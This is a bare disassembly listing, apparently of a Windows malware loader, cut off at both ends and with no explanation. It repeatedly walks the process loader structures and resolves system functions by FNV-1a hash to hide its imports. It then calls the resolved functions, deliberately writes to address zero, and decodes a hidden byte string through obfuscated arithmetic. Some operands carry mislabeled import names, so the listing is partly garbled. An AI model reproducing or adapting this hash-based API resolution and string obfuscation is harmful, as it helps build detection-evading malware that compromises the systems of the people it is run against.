mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013dfdb
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013df62
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013df57
cmp edx, r14d
je 0x14013df78
test r11d, r11d
jne 0x14013df42
jmp 0x14013dfdb
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14013dff3
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x14013dff3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013dfba
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14013dfac
jmp 0x14013dfcf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14013dfc2
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013dff0
cmp qword [rax + 0x30], r12
jne 0x14013dec7
mov rbx, r12
mov qword [0x140319e48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140319e40]
test rdx, rdx
jne 0x14013e16a
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013e07e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013e071
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013e062
cmp edx, esi
jne 0x14013e14b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013e14b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013e14b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013e0d2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013e0c7
cmp edx, r14d
je 0x14013e0e8
test r11d, r11d
jne 0x14013e0b2
jmp 0x14013e14b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013e163
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14013e163
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013e12a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013e11c
jmp 0x14013e13f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013e132
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013e160
cmp qword [rax + 0x30], r12
jne 0x14013e037
mov rdx, r12
mov qword [0x140319e40], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e38]
test rdx, rdx
jne 0x14013e2d1
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013e1e5
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013e1d8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013e1c9
cmp edx, esi
jne 0x14013e2b2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013e2b2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013e2b2
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013e239
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013e22e
cmp edx, r14d
je 0x14013e24f
test r11d, r11d
jne 0x14013e219
jmp 0x14013e2b2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013e2ca
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14013e2ca
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013e291
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013e283
jmp 0x14013e2a6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013e299
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013e2c7
cmp qword [rax + 0x30], r12
jne 0x14013e19e
mov rdx, r12
mov qword [0x140319e38], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e30]
test rdx, rdx
jne 0x14013e438
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013e34c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013e33f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013e330
cmp edx, esi
jne 0x14013e419
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013e419
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013e419
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013e3a0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013e395
cmp edx, r14d
je 0x14013e3b6
test r11d, r11d
jne 0x14013e380
jmp 0x14013e419
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013e431
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14013e431
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013e3f8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013e3ea
jmp 0x14013e40d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013e400
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013e42e
cmp qword [rax + 0x30], r12
jne 0x14013e305
mov rdx, r12
mov qword [0x140319e30], rdx
xor ecx, ecx
call rdx
cmp qword [0x140319e28], r12
jne 0x14013e59e
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013e4b0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013e4a3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013e494
cmp edx, esi
jne 0x14013e57f
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14013e57f
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14013e57f
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14013e504
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013e4f9
cmp edx, r14d
je 0x14013e51a
test r9d, r9d
jne 0x14013e4e4
jmp 0x14013e57f
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14013e597
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14013e597
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013e55c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14013e54e
jmp 0x14013e572
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14013e565
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013e594
cmp qword [rax + 0x30], r12
jne 0x14013e469
mov r9, r12
mov qword [0x140319e28], r9
mov r8, qword [0x140319e58]
test r8, r8
jne 0x14013e612
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14013e5f7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14013e5db
cmp edx, 0x610c0de3
je 0x14013e663
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14013e608
cmp qword [rax + 0x30], r12
jne 0x14013e5c1
mov r8, r12
mov qword [0x140319e58], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r12d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14013e65e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14013e642
cmp ecx, 0xe463da3c
je 0x14013e669
inc r10d
jmp 0x14013e626
mov r8, qword [r8 + 0x30]
jmp 0x14013e60b
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1403192c0]
test r10, r10
jne 0x14013e7f0
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013e703
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013e6f6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013e6e7
cmp edx, esi
jne 0x14013e7d0
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14013e7d0
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14013e7d0
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013e757
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013e74c
cmp edx, r14d
je 0x14013e76d
test r10d, r10d
jne 0x14013e737
jmp 0x14013e7d0
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14013e7e9
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14013e7e9
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14013e7ad
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14013e79f
jmp 0x14013e7c3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14013e7b6
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013e7e6
cmp qword [rax + 0x30], 0
jne 0x14013e6bc
xor r10d, r10d
mov qword [0x1403192c0], r10
lea r9, [rbp + 0x218]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x140319e50]
test r8, r8
jne 0x14013e96b
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013e87e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013e871
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013e862
cmp edx, esi
jne 0x14013e94b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013e94b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013e94b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013e8d2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013e8c7
cmp edx, r14d
je 0x14013e8e8
test r11d, r11d
jne 0x14013e8b2
jmp 0x14013e94b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14013e964
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14013e964
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14013e928
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14013e91a
jmp 0x14013e93e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14013e931
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013e961
cmp qword [rax + 0x30], 0
jne 0x14013e837
xor r8d, r8d
mov qword [0x140319e50], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
mov byte [rbp + 0x1c0], 0xb0
mov byte [rbp + 0x1c1], 0xb1
mov byte [rbp + 0x1c2], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1c3], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x1c4], gethostname
mov byte [rbp + 0x1c5], 0x68
mov byte [rbp + 0x1c6], 0x66
mov byte [rbp + 0x1c7], 0x52
mov byte [rbp + 0x1c8], 0x62
mov byte [rbp + 0x1c9], 0x3d
mov byte [rbp + 0x1ca], 0x53
mov byte [rbp + 0x1cb], 0x5f
mov byte [rbp + 0x1cc], 0x5d
mov byte [rbp + 0x1cd], 0x3d
mov byte [rbp + 0x1ce], 0x68
mov byte [rbp + 0x1cf], 0x65
mov byte [rbp + 0x1d0], 0xfc
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d1], xmm0
mov dil, byte [rsp + 0x40]
mov sil, 0x56
mov r14d, reloc.WLDAP32.dll_Ordinal_41
call fcn.1400a1a30
mov rbx, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
mov r9, r12
mov r15d, 1
cmp r9, 0x21
jae 0x14013f487
movzx r8d, byte [rbp + r9 + 0x1c0]
mov rdx, r8
cmp rbx, r9
ja 0x14013f47e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14013ea78
movabs rcx, 0xc82d72a100291b7e
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x72
jmp 0x14013eabf
je 0x14013f40c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013f393
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14013f364
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013f322
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14013f303
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013f2e5
cmp r10, r9
ja 0x14013f475
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x14013eaeb
lea ecx, [rsi + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x14013eb39
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14013f2aa
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013f293
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013f282
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14013f274
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14013f256
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14013f238
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14013f00b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013effa
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14013efec
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x14013efde
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x14013efcd
lea rcx, [r10 + 0x40]
cmp rbx, rcx
je 0x14013efbf
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x14013efa5
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013ef8b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14013ef6d
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14013ef53
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14013eb46
mov rbx, rcx
lea r10, [rcx + 0x200]
lea rax, [r10 + 5]
cmp rcx, rax
jb 0x14013f45a
lea rax, [r10 + 6]
cmp rcx, rax
jb 0x14013f43e
lea rax, [r10 + 0x41]
cmp rcx, rax
jb 0x14013ed36
lea rax, [r10 + 0x5a]
cmp rcx, rax
jb 0x14013ed1c
lea rcx, [r10 + 0x80]
cmp rbx, rcx
jb 0x14013ecfe
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14013ef09
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14013eebd
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x14013ee78
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14013ee56
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14013eb46
mov rbx, rcx
lea r10, [rcx + 4]
lea rax, [r10 + 0x200]
cmp rcx, rax
ja 0x14013ee38
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x14013ee1a
lea rax, [r10 + 0x10]
cmp rcx, rax
ja 0x14013ee00
lea rax, [r10 + 2]
cmp rcx, rax
ja 0x14013ede5
lea rax, [r10 + 3]
cmp rcx, rax
ja 0x14013edca
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x14013edaa
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x14013ed8f
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14013ed71
lea rax, [r10 + 0x42]
cmp rcx, rax
ja 0x14013ed50
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x14013eb46
lea rbx, [r10 + 0x400]
lea r10, [rbx + 8]
jmp 0x14013eb46
lea edx, [r9 + 0x6a]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013eb39
lea ecx, [r9 + 0x6e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
jmp 0x14013eabf
lea ecx, [r9 + 0x72]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1e
jmp 0x14013ea40
lea edx, [r9 - 0x50]
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov r11b, r9b
jmp 0x14013f2c2
lea edx, [r9 - 0x4c]
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013f2fe
lea ecx, [r9 - 0x48]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x14013f31a
lea edx, [r9 - 0x44]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x24
add dil, dl
mov r11b, r9b
jmp 0x14013f33e
lea ecx, [r9 - 0x40]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x14013f37d
lea ecx, [r9 - 0x3c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x14013f380
lea edx, [r9 - 0x38]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14013f230
lea edx, [r9 - 0x34]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013f3e0
lea edx, [r9 - 0x30]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013f427
lea ecx, [r9 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
mov byte [rbp + r9 + 0x1c0], dil
jmp 0x14013f436
lea edx, [r9 + 0x5e]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov eax, 8
cmp r10, rax
jb 0x14013ee6b
mov r11b, r9b
lea edx, [r11 + 0x34]
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14013f2c2
lea edx, [r9 + 0x62]
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 4
jae 0x14013f1f1
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x14013f131
lea edx, [r9 + 0x5c]
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013ee91
lea edx, [r9 + 0x66]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r10 + rbx]
cmp rax, r15
je 0x14013f213
lea rcx, [r10 + 5]
cmp rbx, rcx
jbe 0x14013f0a6
lea ecx, [r9 + 6]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2a
jmp 0x14013eed4
lea ecx, [r9 + 4]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14013f427
mov ecx, 8
add ecx, r9d
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14013f3e0
lea ecx, [r9 + 0xc]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14013f3b3
lea ecx, [r9 + 0x10]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14013f380
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x14013f36d
mov r11b, r9b
lea edx, [r11 + 0x18]
mov ecx, Ordinal_46
jmp 0x14013f32e
lea edx, [r9 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14013f30a
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14013f2ee
mov r11b, r9b
lea edx, [r11 + 0x24]
mov ecx, 2
jmp 0x14013f091
lea rax, [r10 + 0x64]
cmp rbx, rax
jae 0x14013f02e
lea ecx, [r9 + 0x7e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x14013ef22
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013f055
lea edx, [r9 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013f427
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013f078
lea ecx, [r9 - 0x5c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14013f3b3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14013ef22
mov r11b, r9b
lea edx, [r11 - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013f2c2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013f0cc
mov r11b, r9b
lea ecx, [r11 + 2]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xe
jmp 0x14013f2c2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013f0e6
mov r11b, r9b
lea edx, [r11 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x14013f32e
cmp rbx, rcx
jne 0x14013f109
lea edx, [r9 - 0x12]
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013f380
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013eed4
lea ecx, [r9 - 0x1e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2e
jmp 0x14013f427
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013f155
lea ecx, [r9 + 0x58]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14013f427
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013f178
lea edx, [r9 + 0x50]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14013f230
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013f19c
lea ecx, [r9 + 0x4c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14013f380
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013f1c3
